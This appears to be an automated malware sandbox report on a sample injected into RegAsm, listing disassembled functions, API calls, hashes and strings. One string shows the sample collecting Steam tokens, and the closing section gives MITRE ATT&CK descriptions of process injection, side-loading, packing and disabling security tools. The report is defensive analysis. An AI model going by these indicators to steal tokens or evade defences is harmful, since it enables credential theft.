Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: OsError 0x%lx (%lu)
API String ID: 0-3720535092
Opcode ID: b735940643f83b5a544cbd74b49ab1270c556910509c734c3ae1910aa8759579
Instruction ID: 95374fa29d07a50275de656d1b33f8c5b78082963f56b0b290848f5f237d8e4d
Opcode Fuzzy Hash: b735940643f83b5a544cbd74b49ab1270c556910509c734c3ae1910aa8759579
Instruction Fuzzy Hash: F22192B1500221ABEB045B64DC89FAB37A8FFA4265F00456CFDC9D1150DB34DD18DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BF740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

DROP TABLE '%q'.'%q_node';DROP TABLE '%q'.'%q_rowid';DROP TABLE '%q'.'%q_parent';, xrefs: 1B4BF752

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: DROP TABLE '%q'.'%q_node';DROP TABLE '%q'.'%q_rowid';DROP TABLE '%q'.'%q_parent';
API String ID: 0-2071071404
Opcode ID: 8ba2f788058339da5149233e4f09278598022d733707fc26f3c6e112801f0840
Instruction ID: 6007f285dd8650e4bb967c0cf2ebe8e356e1a40e83d35a5d54d246329abca6d9
Opcode Fuzzy Hash: 8ba2f788058339da5149233e4f09278598022d733707fc26f3c6e112801f0840
Instruction Fuzzy Hash: 5D11A3B5600111AFE704AB69EDC9FEB73ACEBE4215F00456DFE89D2240E761E849C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 1B49141F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

GetXStateFeaturesMask, xrefs: 1B670E34
InitializeCriticalSectionEx, xrefs: 1B670E84

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: GetXStateFeaturesMask$InitializeCriticalSectionEx
API String ID: 0-4196971266
Opcode ID: 7f907ade5b71451b0b440bdb2c5d646a5dff998821ed12783629dd02e4e6aa0a
Instruction ID: 8b59dcaee6d2c4d38c52062adf5d3a524514bb21ab27c3cd0bbb87c6dddb61cd
Opcode Fuzzy Hash: 7f907ade5b71451b0b440bdb2c5d646a5dff998821ed12783629dd02e4e6aa0a
Instruction Fuzzy Hash: 5B018FBA640228B7CB153B91CD05EDE7F26EBB87A2F054121FE5829250DA72986097E0

Uniqueness

Uniqueness Score: -1.00%

Function 0040D02F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040D074
memcpy.MSVCRT ref: 0040D0A4

Strings

string too long, xrefs: 0040D06F

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentmemcpystd::_
String ID: string too long
API String ID: 1835169507-2556327735
Opcode ID: 86d41fe763d4f9670a0bda7700db276dcec98eba4a10b3b688012156d81808ca
Instruction ID: 5178b8b9bae27dddffe99f82d3cba96b452232b4c10b18376653ba913e323939
Opcode Fuzzy Hash: 86d41fe763d4f9670a0bda7700db276dcec98eba4a10b3b688012156d81808ca
Instruction Fuzzy Hash: AF11B9317042109BDB309EADC84095AB7A9EF41758F10093FF556AB2C2C77A994A87DE

Uniqueness

Uniqueness Score: -1.00%

Function 0040D0C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040D0E2

Part of subcall function 0041D590: std::exception::exception.LIBCMT ref: 0041D5A5
Part of subcall function 0041D590: __CxxThrowException@8.LIBCMT ref: 0041D5BA
Part of subcall function 0041D590: std::exception::exception.LIBCMT ref: 0041D5CB

Part of subcall function 0040CED1: std::_Xinvalid_argument.LIBCPMT ref: 0040CEE2

memcpy.MSVCRT ref: 0040D13D

Strings

invalid string position, xrefs: 0040D0DD

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throwmemcpy
String ID: invalid string position
API String ID: 214693668-1799206989
Opcode ID: 6db7f21e639e4ee25f80c59323fcb4094b3614726ddfd8fc1b0f95dadf20a757
Instruction ID: c288a1353cca4a63b317874bbee34a0bb446cbe3dd24b07f24b290e3641dc7f7
Opcode Fuzzy Hash: 6db7f21e639e4ee25f80c59323fcb4094b3614726ddfd8fc1b0f95dadf20a757
Instruction Fuzzy Hash: F2110831B04210E7CF249E4D9C80A6AB3A5AF85714F20053FF856AB3C1CB79D849C79D

Uniqueness

Uniqueness Score: -1.00%

Function 1B6799D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,1B679AE5,1B6CD448,0000000C), ref: 1B679A24
GetFileType.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,1B679AE5,1B6CD448,0000000C), ref: 1B679A36

Strings

h/, xrefs: 1B679A67

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: FileHandleType
String ID: h/
API String ID: 3000768030-3808599586
Opcode ID: 3529f5cb3897e3c7c2f5cbfb7ffeeaa620604cd469bad3c292f2348ce8390871
Instruction ID: 12aaab3a173a0499bbb6812f57699e3b74b8d3cd6462d426d13156506d224ff8
Opcode Fuzzy Hash: 3529f5cb3897e3c7c2f5cbfb7ffeeaa620604cd469bad3c292f2348ce8390871
Instruction Fuzzy Hash: 2C11E6B16057526ACB30AE3E8C886927AE9A7B7230B24071ED5F7C65F5C230D5C6C240

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C5350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

F, xrefs: 1B4C539B

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: 14e52a4eb87aa0cc22f8b75683ca8f73af085c5906f7464b11e03d7fe1e3d6b5
Instruction ID: 44eb496ad7df213b27335ae328a64d71a3da5cdbcfb027f5b483f7598c444497
Opcode Fuzzy Hash: 14e52a4eb87aa0cc22f8b75683ca8f73af085c5906f7464b11e03d7fe1e3d6b5
Instruction Fuzzy Hash: 05112EB56083408FDB04DF19D45279FBBE4AFD8214F84882EE98A87391E774E548CB97

Uniqueness

Uniqueness Score: -1.00%

Function 1B4EEFE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

SELECT %s WHERE rowid = ?, xrefs: 1B4EF017

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: SELECT %s WHERE rowid = ?
API String ID: 0-866778640
Opcode ID: a856bf623b41e64853c86a1f6a9e95dcea2f5bce5205a789bbfe47c1f8629398
Instruction ID: 9bc80c451fd129667c484212f11bc2901097b6c5949ed942c9648d3c06f62cbf
Opcode Fuzzy Hash: a856bf623b41e64853c86a1f6a9e95dcea2f5bce5205a789bbfe47c1f8629398
Instruction Fuzzy Hash: 4111297120134A9BD7205F95EC40FD6F794EB40222F10852EF55596640E773B45197B0

Uniqueness

Uniqueness Score: -1.00%

Function 00413553 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00413558

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

lstrlenA.KERNEL32(00000000,00000000,?,00000000,004254F3), ref: 004135A9

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Soft\Steam\steam_tokens.txt, xrefs: 004135C1

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 40794102-3507145866
Opcode ID: 18fec3fed02bf81fddc6927c01834681bc391b2c2ba2821c77b1dbe4a284519a
Instruction ID: c155f4848beaaa2a24137906c651ab11ee3d20935933931ec9537bcc0d77ae6f
Opcode Fuzzy Hash: 18fec3fed02bf81fddc6927c01834681bc391b2c2ba2821c77b1dbe4a284519a
Instruction Fuzzy Hash: C12158B1C00248EACB05FBE6C856BDDBB78AF18308F10856EE442721D2DB781758CA76

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040CD2E

Part of subcall function 0041D590: std::exception::exception.LIBCMT ref: 0041D5A5
Part of subcall function 0041D590: __CxxThrowException@8.LIBCMT ref: 0041D5BA
Part of subcall function 0041D590: std::exception::exception.LIBCMT ref: 0041D5CB

memmove.MSVCRT ref: 0040CD67

Strings

invalid string position, xrefs: 0040CD29

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 23a08f5dca3bc3f5120ab8ab9d33a5b0fd03648de46993dc837c84427842964f
Instruction ID: 4dfe33b9afb320470da450dddba9e73fd49afeb28b32f74b1e74b96e38d81fb2
Opcode Fuzzy Hash: 23a08f5dca3bc3f5120ab8ab9d33a5b0fd03648de46993dc837c84427842964f
Instruction Fuzzy Hash: 6301B531300210DBD7249F6CDDC092ABBB6EF867147204E3ED4859B785DA78EC4A97E8

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C7200 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

Strings

invalid, xrefs: 1B4C721B
API call with %s database connection pointer, xrefs: 1B4C7220

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: API call with %s database connection pointer$invalid
API String ID: 0-3574585026
Opcode ID: 56faea79b3bfcabb95701decb1e0a35c16d702aef310a18da6c4d3f2fc1b16ec
Instruction ID: c6d8a95432aacfac1f33a00d8a54fe96b9925f9f9fa7258919dcb5d5c5e97424
Opcode Fuzzy Hash: 56faea79b3bfcabb95701decb1e0a35c16d702aef310a18da6c4d3f2fc1b16ec
Instruction Fuzzy Hash: 80F0F675F046104BDB208E28FC15BE777DE5F50B21F008A59F6E692390C220E854C293

Uniqueness

Uniqueness Score: -1.00%

Function 1B49B224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B49B233
%s at line %d of [%.10s], xrefs: 1B49B238

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$misuse
API String ID: 0-2530468415
Opcode ID: a1330bf42c9682131d1c38086339ec4e2237d3f70da11abe9af5d5c9aee75e35
Instruction ID: f11db9342b5777efd42d460a41fa81d6e9b2da521cf191e35a82b821ef974bec
Opcode Fuzzy Hash: a1330bf42c9682131d1c38086339ec4e2237d3f70da11abe9af5d5c9aee75e35
Instruction Fuzzy Hash: D7C01262640348E6CB049B94ED43DD92F309FA8B51B5182A5A62529086D21091584351

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

